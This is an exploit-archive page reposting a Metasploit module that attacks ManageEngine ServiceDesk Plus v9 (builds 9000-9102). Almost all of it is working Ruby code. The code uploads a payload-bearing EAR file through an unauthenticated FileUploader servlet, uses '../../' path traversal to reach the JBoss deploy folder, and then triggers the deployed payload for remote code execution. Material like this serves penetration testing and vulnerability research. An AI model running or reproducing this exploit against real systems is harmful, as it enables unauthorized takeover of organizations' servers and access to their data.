Home / exploitsPDF  

ManageEngine ServiceDesk Plus Arbitrary File Upload

Posted on 08 October 2015

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine ServiceDesk Plus Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in ManageEngine ServiceDesk Plus. The vulnerability exists in the FileUploader servlet which accepts unauthenticated file uploads. This module has been tested successfully on versions v9 b9000 - b9102 in Windows and Linux. The MSP versions do not expose the vulnerable servlet. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZDI', '15-396 ' ], [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/6038' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'ServiceDesk Plus v9 b9000 - b9102 / Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 20 2015')) register_options( [ Opt::RPORT(8080), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for EAR deployment', 15]), ], self.class) end def check res = send_request_cgi({ 'uri' => "/", 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /src='/scripts/Login.js?([0-9]+)'></script>/ build = $1 if build < "9103" && build > "9000" return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def exploit jboss_path = '../../server/default/deploy' servlet_path = rand_text_alphanumeric(4 + rand(16 - 4)) + ".up" # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file with it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>} # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + ".war", war_payload.to_s) ear_file.add_file("META-INF/application.xml", app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" # Linux doesn't like it when we traverse non existing directories, # so let's create them by sending some random data before the EAR. rand_file = rand_text_alphanumeric(4 + rand(32 - 4)) res = send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), 'ctype' => 'application/octet-stream', 'vars_get' => { 'uniqueId' => rand_text_numeric(4 + rand(4)), 'module' => '', 'qqfile' => rand_file } }) print_status("#{peer} - Uploading EAR file...") res = send_request_cgi({ 'uri' => normalize_uri(servlet_path), 'method' => 'POST', 'data' => ear_file.pack, 'ctype' => 'application/octet-stream', 'vars_get' => { 'uniqueId' => rand_text_numeric(4 + rand(4)), 'module' => jboss_path, 'qqfile' => ear_file_name } }) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + " seconds for deployment") register_files_for_cleanup(jboss_path.gsub('../../','../') + "/null/" + ear_file_name) register_files_for_cleanup("Attachments/null/" + rand_file) sleep(datastore['SLEEP']) else fail_with(Failure::Unknown, "#{peer} - EAR upload failed") end send_request_cgi({ 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) end end

 

TOP